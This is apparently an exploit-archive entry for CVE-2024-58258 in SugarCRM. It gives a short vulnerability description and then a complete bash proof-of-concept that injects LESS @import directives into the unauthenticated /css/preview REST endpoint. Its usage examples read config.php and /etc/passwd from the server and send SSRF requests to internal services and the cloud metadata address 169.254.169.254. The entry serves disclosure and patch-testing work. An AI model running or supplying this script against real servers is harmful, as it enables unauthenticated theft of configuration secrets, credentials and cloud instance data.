# Exploit Title : SugarCRM 14.0.0 - SSRF/Code Injection # Author: Egidio Romano aka EgiX # Email : n0b0d13s@gmail.com # Software Link: https://www.sugarcrm.com # Affected Versions: All commercial versions before 13.0.4 and 14.0.1. # CVE Reference: CVE-2024-58258 # Vulnerability Description: User input passed through GET parameters to the /css/preview REST API endpoint is not properly sanitized before parsing it as LESS code. This can be exploited by remote, unauthenticated attackers to inject and execute arbitrary LESS directives. By abusing the @import LESS statement, an attacker can trigger Server-Side Request Forgery (SSRF) or read arbitrary local files on the web server, potentially leading to the disclosure of sensitive information. # Proof of Concept: #!/bin/bash echo echo "+----------------------------------------------------------------------+"; echo "| SugarCRM <= 14.0.0 (css/preview) LESS Code Injection Exploit by EgiX |"; echo "+----------------------------------------------------------------------+"; if [ "$#" -ne 2 ]; then echo -ne "\nUsage.....: $0 <SugarCRM URL> <Local File or SSRF URL>\n" echo -ne "\nExample...: $0 'http://localhost/sugarcrm/' 'config.php'" echo -ne "\nExample...: $0 'http://localhost/sugarcrm/' '/etc/passwd'" echo -ne "\nExample...: $0 'https://www.sugarcrm.com/' 'http://localhost:9200/_search'" echo -ne "\nExample...: $0 'https://www.sugarcrm.com/' 'http://169.254.169.254/latest/meta-data/'\n\n" exit 1 fi urlencode() { echo -n "$1" | xxd -p | tr -d '\n' | sed 's/../%&/g' } INJECTION=$(urlencode "1; @import (inline) '$2'; @import (inline) 'data:text/plain,________';//") RESPONSE=$(curl -ks "${1}rest/v10/css/preview?baseUrl=1¶m=${INJECTION}") if echo "$RESPONSE" | grep -q "________"; then echo -e "\nOutput for '$2':\n" echo "$RESPONSE" | sed '/________/q' | grep -v '________' echo else echo -e "\nError: exploit failed!\n" exit 2 fi # Credits: Vulnerability discovered by Egidio Romano. # Original Advisory: http://karmainsecurity.com/KIS-2025-04 # Other References: https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/ |
